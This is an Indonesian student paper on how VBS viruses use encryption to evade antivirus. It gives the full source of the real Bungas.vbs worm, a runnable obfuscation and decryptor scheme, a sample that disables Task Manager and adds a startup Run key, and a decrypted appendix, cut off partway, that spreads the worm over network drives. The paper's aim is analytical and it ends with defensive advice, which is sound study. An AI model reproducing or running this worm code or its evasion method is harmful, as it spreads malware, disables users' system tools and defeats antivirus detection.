Kriptografi pada Virus VBS

Yusuf Adriansyah 13507120 [1)]

1) Jurusan Teknik Informatika ITB, Bandung, email: yusufat@students.itb.ac.id

Abstrak *– Makalah ini membahas tentang virus komputer yang dibatasi hanya pada jenis VBS (Visual Basic Script), dan penggunaan kriptografi pada badan virus VBS masa kini untuk mengelabui antivirus.*

Kata Kunci*: kriptografi, virus komputer, visual basic script.*

1. PENDAHULUAN

Sekarang ini, hampir semua pengguna komputer takut dengan benda bernama virus komputer. Hampir semua komputer – khususnya yang menggunakan sistem operasi Windows – terpasang perangkat lunak antivirus untuk melindungi diri. Dulu orang yang membuat virus harus mengetahui teknik pemrograman tingkat rendah, semisal assembly. Sekarang virus dapat dikatakan "mudah dibuat" karena begitu banyaknya bahasa pemrograman tingkat tinggi yang lebih mudah dikuasai.

Pada sistem operasi Windows, virus zaman dulu masih berbentuk *executables* (.exe), menyebar melalui email atau disket. Tetapi sejak Windows 98 dikenal sesuatu yang disebut Windows Scripting Host (WSH) yang kemudian berganti nama menjadi Windows Script Host. WSH adalah teknologi otomasi dari Microsoft untuk menjalankan serangkaian proses yang kita tulis dalam file script. Bahasa pemrograman yang didukungnya adalah javascript (.js) dan visual basic script (.vbs). WSH diperlukan untuk menjalankan beberapa fungsi dari sistem operasi Windows itu sendiri, tetapi juga dimanfaatkan oleh pembuat virus untuk menjalankan virus/wormnya. Mulai dikenal virus JS (javascript) dan VBS (visual basic script). Sekarang saya sudah tidak mendengar lagi kabar virus JS, mungkin karena bahasa Java agak sulit. Sebaliknya, virus VBS tetap ada sampai sekarang. Makalah ini hanya membahas virus jenis VBS pada sistem operasi Windows.

Visual basic script menggunakan bahasa Basic. Mengapa ditambahi kata "visual" di depannya, karena Microsoft Visual Basic (VB) itu sendiri menggunakan bahasa Basic yang sudah tidak murni lagi, sudah ditambahi fungsi dan fitur tambahan buatan Microsoft.

File .vbs sejatinya adalah teks biasa. Buka saja berkas virus VBS dengan editor teks, langsung kelihatan baris-baris programnya. Mesin antivirus cukup mudah mengendus keberadaan virus semacam ini cukup dengan melihat baris program seperti itu. Bila baris program itu berbahaya, semisal perintah untuk memformat harddisk, maka berkas (*file*) yang bersangkutan bisa "dituduh" sebagai virus. Untuk itulah, sekarang ini pembuat virus VBS menggunakan kriptografi pada badan virus untuk mencegah baris programnya dilihat orang sekaligus untuk mengelabui antivirus.

2. PEMBAHASAN

Dengan visual basic script, Anda dapat membuat program sederhana. Anda boleh tulis kode berikut dengan editor teks dan simpan dengan ekstensi .vbs. Karena kolom ini sempit sekali, pergantian baris (penekanan tombol Enter) ditulis dengan warna latar yang berbeda.

```
dim x
x = InputBox("masukkan nama Anda", "Contoh
greeting menggunakan VBS")
msgbox "Selamat siang, " & x & "!",64,
"Contoh greeting menggunakan VBS"
```

Kemudian jalankan berkas .vbs ini. Komputer akan menanyakan nama Anda dan kemudian mengucapkan selamat siang.

Program di atas tidaklah berbahaya. Yang berbahaya itu yang seperti ini:

```
'membuat objek
Dim objReg
set objReg=createobject("WScript.Shell")
'nonaktifkan Windows Task Manager
objReg.RegWrite"HKEY_CURRENT_USER\Software\Mi
crosoft\Windows\CurrentVersion\Policies\Syste
m\DisableTaskMgr", "1", "REG_DWORD"
'jalankan diri sendiri saat start up Windows
objReg.RegWrite"HKEY_CURRENT_USER\Software\Mi
crosoft\Windows\CurrentVersion\Run\",
"C:\virus_ini.vbs"
```

Bila script ini dijalankan pada komputer dengan hak akses administrator, maka pengguna komputer tidak bisa mengakses aplikasi Windows Task Manager, dan worm ini akan terus dieksekusi setiap kali komputer dinyalakan. Virus dan worm VBS "yang sebenarnya" jauh lebih sakti dari ini

Dua program di atas adalah contoh program VBS yang *tidak terenkripsi*. Artinya, orang lain bisa langsung melihat kode programnya. Antivirus pun demikian, mesin *heuristic*-nya mampu mengenali tulisan script yang berbahaya. Supaya tidak langsung ketahuan, pembuat virus *mengenkripsi* prosedur utama virusnya.

Secara umum, virus (atau worm) VBS dalam bentuk terenkripsi memiliki tiga komponen yaitu:

i. Badan utama virus, dalam keadaan terenkripsi,
ii. Fungsi yang melakukan dekripsi, disebut *decryptor*,

iii. Perintah yang mengeksekusi badan utama virus setelah melewati fungsi dekriptor.

Dalam visual basic script, bagian utama virus adalah kode-kode VBS "jahat" dalam bentuk **string** yang dienkripsi. String terenkripsi ini dimasukkan dalam sebuah variabel. Kemudian fungsi dekriptor adalah fungsi biasa yang kode di dalamnya tidak terenkripsi. Bagian terakhir adalah perintah `execute`, bentuk lengkapnya adalah:

`execute(`*fungsi dekriptor*`(`*variabel string terenkripsi*`))`.

Berikut contoh program yang memakai skema enkripsi seperti di atas.

```
i = "nthapw!sfts!9nthapw!jmjdpmspgoqphqbnUAT-
sfqfmlqjotj!9nthapw!vot--lfsbgvbmcfglpcfmzb-
9C!"
execute(dekrip(i))

Function dekrip(argumen)
  dim a,b,c,d
  d = ""
  For a= 1 To Len(argumen)
    b= Asc(Mid(argumen, a, 1))
    If b Mod 2 = 0 Then
      c= Chr(b- 1)
    Else
      c= Chr(b+ 1)
    End If
    d = d & c
  Next
  dekrip= d
End Function
```

Program ini masih kelihatan jelas struktur dasarnya. Baris pertama adalah kode program dalam bentuk string yang dienkripsi, baris kedua adalah perintah eksekusi, dan sisanya adalah fungsi dekriptor. Fungsi dekriptor bisa ditulis di paling atas atau paling akhir, karena komputer menyimpannya dalam memori untuk siap dipanggil. Sedangkan baris perintah di luar blok `Function` atau `Sub` akan dieksekusi secara sekuensial, itulah mengapa perintah `execute` harus di akhir deretan baris.

Untuk memusingkan pembaca, biasanya pembuat virus mengganti karakter pindah baris (penekanan tombol Enter) dengan simbol titik dua ' : ' yang dalam bahasa Basic artinya sama dengan pindah baris. Akibatnya di dalam berkas .vbs hanya terdapat satu baris yang panjang sekali seperti

```
i =
"nthapw¬!sfts!9nthapw¬!jmj¬dpmspg¬oqphqbn¬UAT
¬sfqfmlqjotj!9nthapw¬!vot--¬lfsbgvbm¬cfg-
lpcfmzb¬9C!":execute(dekrip(i)):Function
dekrip(argumen): dim a,b,c,d:d="":For a=1 To
Len(argumen):b= Asc(Mid(argumen,a,1)):If b
Mod 2=0 Then:c=Chr(b-1):Else:c= Chr(b+1):End
If:d=d&c:Next:dekrip=d:End Function
```

Bahkan pembuat virus menggunakan nama-nama aneh dalam nama fungsi serta variabel, agar sulit dideteksi. Ini program yang sama dengan yang di atas, tapi menggunakan nama variabel dan fungsi yang sulit, plus enkripsi membalik teks.

```
Function
DA4687032(DB6491471):DA4687032=StrReverse(DB6
491471):End Function:DD7A4F01C="2D3DEFF1FD
etucexE:))44EA3ED(2307864AD(67D41513AB=2D3DEF
F1FD:"&""""&"nthapw!sfts!9nthapw!jmjdpmspg-
oqphqbnUATsfqfmlqjotj!9nthapw!vot--lfsbgvbm-
cfglpcfmzb9C!"&""""&"=44EA3ED:noitcnuF dnE:)2
/ )BB891E4BB(neL ,BB891E4BB(thgiR
=67D41513AB:txeN:D59A21B1CB&BB891E4BB
=BB891E4BB:fI dnE:)1 +A4567782DB(rhC
=D59A21B1CB:eslE:)1 -A4567782DB(rhC
=D59A21B1CB:nehT 0 = 2 doM A4567782DB fI:))1
,631807BCB ,BB891E4BB(diM(csA
=A4567782DB:)BB891E4BB(neL oT 1 =631807BCB
roF:)BB891E4BB(67D41513AB
noitcnuF":DC13C54158=DA4687032(DD7A4F01C):Exe
cute DC13C54158
```

Program yang saya tulis barusan bukanlah program berbahaya, tidak apa-apa bila Anda jalankan. Ada satu cara yang sakti dalam menaklukkan virus VBS terenkripsi, yakni cukup dengan mengganti semua perintah `execute` menjadi `msgbox`.

Enkripsi yang dipakai mulai dari yang sederhana seperti membalik teks — misalnya `shell("virus.bat")` menjadi `)"tab.suriv"(llehs` —, enkripsi Julius Caesar, mengacak-acak nilai ASCII setiap huruf dari teks, mengubah huruf ke heksadesimal, enkripsi enigma, dan lain-lain. Juga digunakan kombinasi macam-macam enkripsi, atau enkripsi berulang-ulang. Semakin tinggi tingkat enkripsi yang digunakan, semakin sulit virus dideteksi. Aritmetika modulo memegang peranan penting dalam enkripsi tubuh virus.

2.1. Virus Bungas, VBS terenkripsi yang tak memiliki dekriptor

Pembahasan ini spesifik ke virus Bungas, virus berjenis VBS buatan Indonesia yang muncul bulan Juni 2008 yang lalu. Virus ini menarik, sebab dalam tubuh utamanya sebagian besar teks dalam keadaan terenkripsi, tetapi tidak ditemukan fungsi yang mendekripsikannya.

Dalam bahasa Banjarmasin, "bungas" berarti "cantik". Berkas utama virus ini adalah Bungas.vbs yang berukuran 7222 bytes. Inilah isi dari Bungas.vbs:

```
On Error Resume Next
Set
STIS=CreateObject("Scripting.FileSystemObject
")
Function
Matdis(PTI):Matdis=Strreverse(PTI):End
Function
Set
Statdesk=STIS.CreateTextFile(Matdis("sgb.tadk
urtS"))
Statdesk.WriteLine Matdis(":)nillA(CPM
noitcnuF")&vbcrlf&Matdis(")nillA(neL oT 1=I
roF")&vbcrlf&Matdis("))1,I,nillA(diM(csA=
```

```
orplA")&vbcrlf&Matdis("nehT 0=2 dom orplA fI")&vbcrlf&Matdis(")1-
orplA(rhC=gnauleP")&vbcrlf&Matdis("eslE")&vbcrlf&Matdis(")1+orplA(rhC=gnauleP")&vbcrlf&Matdis(
"fI dnE")&vbcrlf&Matdis("gnauleP&munteM=munteM")&vbcrlf&Matdis("txeN")&vbcrlf&Matdis("noitcnuF
dnE:)munteM(esreverrtS=CPM")
Statdesk.Close
Statmat=STIS.OpenTextFile(Matdis("sgb.tadkurtS")).ReadAll
execute Statmat
Set FoxPro=CreateObject("Scripting.FileSystemObject")
Set Siberdok=FoxPro.CreateTextFile(MPC("tha-tdjstjsbst"))
Siberdok.writeline MPC("                    _          _:4_>_tfsvajqssb-jtbkfqpL          _*!sba-
qflbntvqjU[!%gsboonfs'fkjesfh-mbfN_>_jtbkfqpL_sft    _:4_>_tfsvajqssb-jtbkfqpL          _*!sba-
qflbntvqjU[!%gsbomjx'fkjesfh-mbfN_>_jtbkfqpL_sft             _:4_>_tfsvajqssb-jtbkfqpL
_*!tau-tbhmva[!%gsboonfs'fkjesfh-mbfN_>_jtbkfqpL_sft _:4_>_tfsvajqssb-jtbkfqpL
_*!tau-tbhmva[!%gsbomjx'fkjesfh-mbfN_>_jtbkfqpL_sft  _!sba-qflbntvqjU[!%gsbomjx+!sba-
qflbntvqjU[!%gsboonfs_fkjEzopD-mbfN          _!tau-tbhmva[!%gsbomjx+kbjnpmjA_fkjEzopD-mbfN
_!tau-tbhmva[!%gsboonfs+kbjnpmjA_fkjEzopD-mbfN     _!tha-sbclvqsT!_fkjEfsfkfC-mbfN
_!tha-tdjstjsbst!_fkjEfsfkfC-mbfN             _ftpkd-tmbjqbU _!ftvbo!%ekqdau%!}_pgdf!%ekqdau%!-
oqpD_zsfjdpT_fkopfO_tbhmvA_7//1.8//1_sghjqzopD_*D'_pgdf!%ekqdau%!^8//1-5/-
2/_mpjtqfU\nfstzT_hmjsbqfoP_tbhmvA_pgdf!%ekqdau%!}_pgdf!%ekqdau%!__$$$$$$$$__$$_______$$__$$$$
$$$$$__$$_______$$__$$$$$$$$$____$$$$$$$$$$____pgdf!%ekqdau%!_$$$$$$$$$_$$_______$$_$$$$$$$$$
$$_$$_______$$_$$$$$$$$$$__$$$$$$$$$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_$$_______$$_$
$_______$$_$$_______$$_$$$_______$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_$$_______$$_$$___
____$$_$$_______$$_$$________$$____pgdf!%ekqdau%!_$$_________$$_______$$_$$_______$$_$$$______
$$_$$_______$$_$$________$$____pgdf!%ekqdau%!_$$$$$$$$$__$$$$$$$$$$_$$$$$___$$_$$$$_____$$_$
$_______$$_$$$_______$$____pgdf!%ekqdau%!__$$$$$$$$_$$$$$$$$$$__$$$$$___$$_$$_$$____$$_$$___
____$$__$$$$$$$$$$____pgdf!%ekqdau%!_________$$_$$_______$$_________$$_$$__$$___$$_$$_______
$$___$$$$$$$$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_________$$_$$___$$_$$_______$$__
_$$______$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_________$$_$$____$$_$$_$$_______$$__$$__
_____$$____pgdf!%ekqdau%!_$$______$$_$$_______$$_$$_______$$_$$_____$$$$_$$_______$$__$$$_____
_$$____pgdf!%ekqdau%!_$$$$$$$$$$_$$$$$$$$$$$_$$$$$$$$$$$_$$______$$$_$$_______$$___$$$$$$$$$$_
___pgdf!%ekqdau%!__$$$$$$$$__$$$$$$$$$$__$$$$$$$$__$$_______$$_$$_______$$____$$$$$$$$____p
gdf!%ekqdau%!}_pgdf!%ekqdau%!nfstzT_hmjsbqfoP_tbhmvA_fksjs!%ekqdau%!eep_pgdf?!_fmjkfsjqx-
tmbjqbU    _*!sba-qflbntvqjU[!%gsboonfs'fkjEswfSfsbfqD-mbfN>tmbjqbU_sfT   _*1'qfckpekbjdfotsfh-
mbfN>gsboonfs_sfT          _*/'qfckpekbjdfotsfh-mbfN>gsbomjx_sfT      _*!sdfiaPnfstzTfkjE-
hmjsojqdT!'sdfiaPfsbfqD>mbfN_sfT             _eJ_cmF           __swfM __eJ_cmF
_!tau-tbhmva!+**smfcvsT'nfsJ-jkkvpmqfA'gsbOckjvA-mptjpO+kbjnpmjA_fkjEzopD-mptjpO
__mfgS_/_=;_*![!_+*smfcvsT'nfsJ-jkkvpmqfA'qsTmJ_eJ __2_._smvpD-jkkvpmqfA_pS_/_>_smfcvsT_qpE
__mfgS_/_=;_smvpD-jkkvpmqfA_eJ      __tfujqClqpxsfMnvmF-ljqsfnpfhqfozG_>_jkkvpmqfA_sfT
__*!lqpxsfM-sojqdTX!'sdfiaPfsbfqD_>_ljqsfnpfhqfozG_sfT    __*fnbMkkvEsojqdT-sojqdtX'fkjEsfH-
mptjpO_>_kbjnpmjA_sfT             __*!sdfiaPnfstzTfkjE-hmjsojqdT!'sdfiaPfsbfqD>mptjpO_sfT
_swfm_fnvtfq_qpqqf_mP") & vbcrlf
Siberdok.close
Pengamat=FoxPro.OpenTextFile(MPC("tha-tdjstjsbst")).ReadAll
execute Pengamat
Set CSPro=CreateObject("Scripting.FileSystemObject")
Set SPSS=CSPro.CreateTextFile(MPC("tha-mjkpN"))
SPSS.writeline MPC("          _          _!tau-tbhmva[!_%_gsboonfs_mvq-TOB   _*!kkfgt-
sojqdtX!'sdfiapfsbfqd_>_TOB_sft             _!sba-qflbntvqjU[!_%_gsboonfs_mvq-tvtmfT
_*!kkfgt-sojqdtX!'sdfiapfsbfqd_>_tvtmfT_sft            _2_=;_kbjtjmj_fkjgx_oppk
_ej_cmf            _////1_offkt-sojqdtX       _mfgs_2_=;_kbjtjmj_ej    _!qfhhvafC[fwf-
cnd[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDPK`ZF
LG!fsfkfchfq-smfjdjeevT         _!!!tau-tbhmva[!_%_gsbomjx%!!!_fwf-
qfqpkowF!+!kkfgT[mphpkmjX[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDPK`ZFLG!fsjq
xhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
cqpxmjx[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP
K`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
qutsmfhb[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBD
PK`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
cbocqpx[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP
K`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
cbofspm[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP
K`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
sjcfhfq[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP
K`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
hjempdtn[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBD
PK`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
qhnltbs[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDP
K`ZFLG!fsjqxhfq-smfjdjeevT         _!sba-qflbntvqjU!+!qfhhvafC[fwf-
jvqstq[tmpjsoP_mpjsvdfwF_fkjE_fhbnJ[mpjtqfUsmfqqvD[SM_txpcmjX[septpqdjN[FQBXSEPT[FMJGDBN`KBDPK
`ZFLG!fsjqxhfq-smfjdjeevT         _!tau-
tbhmva[!_%_gsboonfs+!tbhmva[mvQ[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fqbxsepT[QFTV`SMFQQVD`ZFLG!fs
jqxhfq-smfjdjeevT
_!CQPXC`HFQ!+!1!+!CNDfkabtjC[nfstzT[txpcmjX[septpqdjN[tfjdjkpO[fqbxsepT[QFTV`SMFQQVD`ZFLG!fsjq
XhfQ-smfjdjeevT
_!CQPXC`HFQ!+!2!+!qhNltbSfkabtjC[nfstzT[tfjdjkpO[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fqbxsepT[QFT
V`SMFQQVD`ZFLG!fsjqXhfQ-smfjdjeevT
_!CQPXC`HFQ!+!2!+!tkppSzqstjhfQfkabtjC[nfstzT[tfjdjkpO[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fq
```

```
bxsepT[QFTV`SMFQQVD`ZFLG!fsjqXhfQ-smfjdjeevT
_!CQPXC`HFQ!+!/!+!mfccjGqfovTxpgT[cfdmbucB[qf
qpkowF[mpjtqfUsmfqqvD[txpcmjX[septpqdjN[fqbxs
epT[QFTV`SMFQQVD`ZFLG!fsjqXhfQ-smfjdjeevT
_*!kkfgT-
sojqdTX!'sdfiapfsbfqd_>_smfjdjeevT_sft
_swfm  _ej_cmf            _:4>_tfsvajqssb-
bgokB            _!emj-mvqpsvb[!%_gsbo-
fujqcgtbke+kbspujO_fkjezopd-bnnbH
_14>_tfsvajqssb-bgokB _*!emj-mvqpsvb[!%_gsbo-
fujqcgtbke'fkjesfh-bnnbH>bgokB_sft
_:4>_tfsvajqssb-bgokB _*!tau-
!%jfuqvT%![!%_gsbo-fujqcgtbke'fkjesfh-
bnnbH>bgokB_sft          _!tau-
!%jfuqvT%![!%_gsbo-fujqcgtbke+bsfA_fkjezopd-
bnnbH     _mfgs_!9B!_=;_gsbo-
fujqcgtbke_cmb_*2_>_fozsfujqc-fujqcgtbke'_eJ
_tfujqc-bnnbH_mj_fujqcgtbke_gdbf_qpe
_pc       _:4>_tfsvajqssb-kbspujO
__*!tha-qflbntvqjU[!%gsboonfs'fkjEsfH-
bnnbH>kbspujO_sfT       _ftpkd-SKD
_!tfjsqfopqO>kkfgt!%ekqdau%!!!tau-
!%jfuqvT%!!!!%!_fwf-
sojqdtx>cmbnnpd[tfjsqfopqO[kkfgt!%ekqdau%!^mv
qpsvB\!_fmjkfsjqx-SKD _*!tha-
qflbntvqjU[!%gsboonfs'fkjEswfSfsbfqD-
bnnbH>SKD_sfT          _*/'qfckpekbjdfotsfh-
bnnbH>gsbomjx_sfT
_*1'qfckpekbjdfotsfh-bnnbH>gsboonfs_sfT
_**'xpM'qbfZ%**'xpM'gsmpN%**'xpM'zbC>jfuqvT
_fozsfujqc-fujqc-bsfA_>_kbjtjmj
__*fnbMkkvEsojqdT-sojqdtX'fkjEsfH-
bnnbH>bsfA_sfT   _!tha-mjkpN!_fkjEfsfkfC-
bnnbH            _*!sdfiaPnfstzTfkjE-
hmjsojqdT!'sdfiapfsbfqd>bnnbH_sft
_swfm_fnvtfq_qpqqf_mp ")&vbcrlf
SPSS.close
Kalkulus=CSPro.OpenTextFile(MPC("tha-
mjkpN")).ReadAll
execute Kalkulus
```

Seperti yang sudah dijelaskan, hampir semua isinya terenkripsi. Juga tidak ditemukan fungsi dekriptornya. Jika Anda lihat, fungsi dekriptor yang digunakannya adalah fungsi bernama Matdis dan MPC. Definisi fungsi Matdis ada, yaitu:

```
Function Matdis(PTI):
  Matdis=Strreverse(PTI):
End Function:
```

Perintah `StrReverse` dalam bahasa (visual) Basic berarti String Reverse, membalik sebuah string dari yang semula dibaca kiri ke kanan menjadi kanan ke kiri. Satu dekriptor sudah ditemukan, tetapi *tidak* ditemukan definisi fungsi MPC. Oleh sebab itulah, mari kita lihat baris-baris berikut:

```
Set
Statdesk=STIS.CreateTextFile(Matdis(”sgb.tadk
urtS”))
Statdesk.WriteLine Matdis(”:)nillA(CPM
noitcnuF”)&vbcrlf&Matdis(”)nillA(neL oT 1=I
roF”)&vbcrlf&Matdis(”))1,I,nillA(diM(csA=orpl
A”)&vbcrlf&Matdis(”nehT 0=2 dom orplA
fI”)&vbcrlf&Matdis(”)1-
orplA(rhC=gnauleP”)&vbcrlf&Matdis(”eslE”)&vbc
rlf&Matdis(”)1+orplA(rhC=gnauleP”)&vbcrlf&Mat
dis(”fI
dnE”)&vbcrlf&Matdis(”gnauleP&munteM=munteM”)&
vbcrlf&Matdis(”txeN”)&vbcrlf&Matdis(”noitcnuF
dnE:)munteM(esreverrtS=CPM”)
```

```
Statdesk.Close
```

Baris pertama, *method* `CreateTextFile(Matdis(”sgb.tadkurtS”))` sama dengan `CreateTextFile(”Strukdat.bgs”)`. Baris ini berisi perintah untuk membuat sebuah file bernama Strukdat.bgs.

Kemudian baris kedua, setelah string-susah-dibaca itu melewati fungsi Matdis, baris itu ekivalen dengan:

```
Statdesk.WriteLine “Function MPC(Allin):” &
vbCrLf & “For I=1 To Len(Allin)” & vbCrLf &
“Alpro=Asc(Mid(Allin,I,1))” & vbCrLf & “If
Alpro mod 2=0 Then” & vbCrLf &
“Peluang=Chr(Alpro-1)” & vbCrLf & “Else” &
vbCrLf & “Peluang=Chr(Alpro+1)” & vbCrLf &
“End If” & vbCrLf & “Metnum=Metnum&Peluang” &
vbCrLf & “Next” & vbCrLf &
“MPC=Strreverse(Metnum):End Function”
```

`vbCrLf` adalah konstanta dalam bahasa (visual) Basic yang berupa gabungan ASCII 13 dan 10, tak lain dari karakter pindah baris. Baris ketiga, `Statdesk.Close` bertugas menutup penulisan file Strukdat.bgs.

Jadi isi Strukdat.bgs menjadi:

```
Function MPC(Allin)
  For I = 1 To Len(Allin)
    Alpro=Asc(Mid(Allin, I, 1))
    If Alpro mod 2 = 0 Then
      Peluang = Chr(Alpro - 1)
    Else
      Peluang = Chr(Alpro + 1)
    End If
    Metnum = Metnum & Peluang
  Next
  MPC = Strreverse(Metnum)
End Function
```

Inilah fungsi dekriptor. Pertama, setiap karakter dalam argumen `Allin` dibaca dan diambil nilai ASCIInya dengan fungsi `Asc`, lalu disimpan dalam variabel `Alpro`. Jika genap (`Alpro mod 2 = 0`) maka ASCII huruf itu dikurangi satu. Jika ganjil, maka ASCIInya ditambah satu. Nilai ASCII yang baru diubah lagi menjadi karakter dengan fungsi `Chr`. Terakhir, keseluruhan teks dibalik (string reverse), dan itulah teks yang dikembalikan oleh fungsi MPC.

Rupanya definisi dari fungsi dekriptor MPC ada di file lain, bukan di dalam tubuh utama virus. Supaya bisa menggunakan fungsi MPC ini dalam tubuh utama virus, baris setelah `Statdesk.Close` adalah:

```
Statmat=STIS.OpenTextFile(Matdis("sgb.tadkurt
S")).ReadAll
execute Statmat
```

Virus membuka file Strukdat.bgs dan mengeksekusi fungsi di dalamnya, menjadikan fungsi MPC terdefinisi dan bisa dipakai.

Setelah mendapatkan fungsi dekriptor, virus membuat

file baru bernama "statistics.bgs" (`tha-tdjstjsbst`) berdasarkan kode selanjutnya, mulai dari baris `Set FoxPro=CreateObject("Scripting.FileSystemObject")` sampai perintah `execute Pengamat`.

Isi dari statistics.bgs setelah didekripsi saya masukkan ke lampiran, sebab Anda akan lebih jelas mengerti maksudnya dalam tampilan satu kolom. Setelah virus utama selesai membuat statistics.bgs, ia segera mengeksekusinya. Secara umum yang dikerjakan statistics.bgs adalah:

- Menyebarkan "bungas.vbs" melalui jaringan (*network*)
- Menyalin "bungas.vbs" ke folder Windows dan Temp
- Membuat berkas "virusmaker.bat" yang tugasnya menampilkan tulisan 'BUNGAS' besar-besar dari kumpulan simbol '#'. Silakan lihat di lampiran, di sana terlihat jelas.
- Menyalin "virusmaker.bat" ke folder Windows dan Temp
- Membuat supaya "bungas.vbs" dan "virusmaker.bat" tidak bisa dilihat langsung dengan mengatur atribut keduanya menjadi *hidden* + *system*
- Menghapus dirinya sendiri beserta "strukdat.bgs"

Ini baru "kerjaan" virus yang sebenarnya, yaitu bereproduksi menyebarkan dirinya sendiri. Setelah virus membuat statistics.bgs, ia membuat berkas baru bernama Molin.bgs (`tha-mjkpN`) mulai dari kode `Set CSPro=CreateObject("Scripting.FileSystemObject")` sampai perintah `execute Kalkulus`, semuanya bisa Anda lihat dalam *source code* utama virus di atas. Setelah selesai dibuat, virus langsung mengeksekusinya. Molin.bgs bertugas untuk:

- Menyebarkan dirinya melalui *flashdisk*
- Membuat "virusmaker.bgs", berkas ini bertugas untuk membuat *autorun* pada *flashdisk*
- Membuat supaya pengguna komputer tidak dapat melihat berkas tersembunyi (*hidden*)
- Mematikan editor registry (regedit.exe)
- Mematikan Windows Task Manager
- Mematikan Command Prompt kecuali untuk menjalankan virusmaker.bat
- Membuat supaya "bungas.vbs" dijalankan setiap kali komputer dinyalakan
- Melumpuhkan sejumlah perangkat lunak yaitu System Restore, MSconfig, Notepad, Wordpad, agentsvr.exe, dan Microsoft Word.
- Menghapus dirinya sendiri

Jadi kerja utama virus justru bukan di tubuh utamanya, tetapi dalam *berkas lain* yang ia keluarkan, dekripsi, dan eksekusi. Ide dalam pembuatan virus yang sedemikian rupa, memanfaatkan enkripsi dan teknik menyembunyikan fungsi virus ini yang patut diapresiasi. Enkripsinya tidak begitu sulit, hanya mempertukarkan dua huruf yang ASCIInya berdekatan, sekaligus dibalik (*reverse*). Tetapi fungsi untuk melakukan hal itu yang tidak ditemui dalam tubuh utama virus, di sanalah keunikannya.

3. KESIMPULAN

Zaman dulu virus VBS "main buka-bukaan" dalam pengertian bisa dilihat langsung baris programnya. Zaman sekarang virus VBS sudah menggunakan enkripsi. Malah virus Bungas yang dibahas di sini dengan lihai menyembunyikan kunci pembuka enkripsinya. Seperti apa virus masa depan? Pembuat virus selalu saja ada akal untuk membuat virusnya lolos dari jeratan antivirus. Virus VBS masa depan akan **selalu** dienkripsi, tetapi antivirus masa depan juga akan semakin pintar. Mungkin virus VBS masa depan akan mengikuti jejak virus Bungas ini.

Saran saya sama dengan saran orang-orang lain di bidang komputer. Bila Anda menggunakan sistem operasi Windows, ganti *default handler* untuk berkas .vbs dan .js menjadi editor teks; sehingga bila Anda tanpa sengaja menjalankan berkas .vbs maka ia tidak akan dijalankan, tetapi justru dibuka dengan editor teks.

DAFTAR REFERENSI

[1] "Bungas.vbs: Menyembunyikan Decryptor", *PC Media*, edisi Desember 2008, hal.72-73.

[2] kumpulan artikel-artikel tentang enkripsi dan virus Bungas di http://5t4t15t1c5.wordpress.com/category/pemrograman/virus/

[3] http://en.wikipedia.org/wiki/Windows_Script_Host

Lampiran 1. Isi file “statistics.bgs” setelah didekripsi

```
On error resume next
Set Poison=CreateObject("Scripting.FileSystemObject")
Set Binomial = Poison.GetFile(Wscript.ScriptFullName)
Set Hypergeometrik = CreateObject("WScript.Network")
Set Bernoulli = Hypergeometrik.EnumNetworkDrives
If Bernoulli.Count <> 0 Then
For Student = 0 To Bernoulli.Count - 1
If InStr(Bernoulli.Item(Student), "\") <> 0 Then
Poison.CopyFile Binomial,Poison.BuildPath(Bernoulli.Item(Student)),"bungas.vbs"
End If
Next
End If

Set Mean=CreateObject("Scripting.FileSystemObject")
Set winpath=Mean.getspecialfolder(0)
Set temppath=Mean.getspecialfolder(2)
Set Varians=Mean.CreateTextFile(temppath&"\Virusmaker.bat")
Varians.writeline "@echo off"&vbcrlf&"title Bungas Operating System"&vbcrlf&"echo
~"&vbcrlf&"echo    #########    ##       ## ##       ##  #########  ###########  ########
"&vbcrlf&"echo    ##########   ##       ## ###      ## ########## ########## ##########
"&vbcrlf&"echo    ##      ###  ##       ## ####     ## ##        ## ##        ## ##       ##
"&vbcrlf&"echo    ##       ##  ##       ## ## ##    ## ##           ##        ## ##       ##
"&vbcrlf&"echo    ##      ##   ##       ## ##  ##   ## ##           ##        ## ##       ##
"&vbcrlf&"echo    ##########   ##       ## ##   ##  ## ##           ##        ## ##
"&vbcrlf&"echo    ###########  ##       ## ##    ## ## ##    #####  ########## #########
"&vbcrlf&"echo    ##       ### ##       ## ##     #### ##    ###### ##########  #########
"&vbcrlf&"echo    ##        ## ##       ## ##      ### ##        ## ##        ##          ##
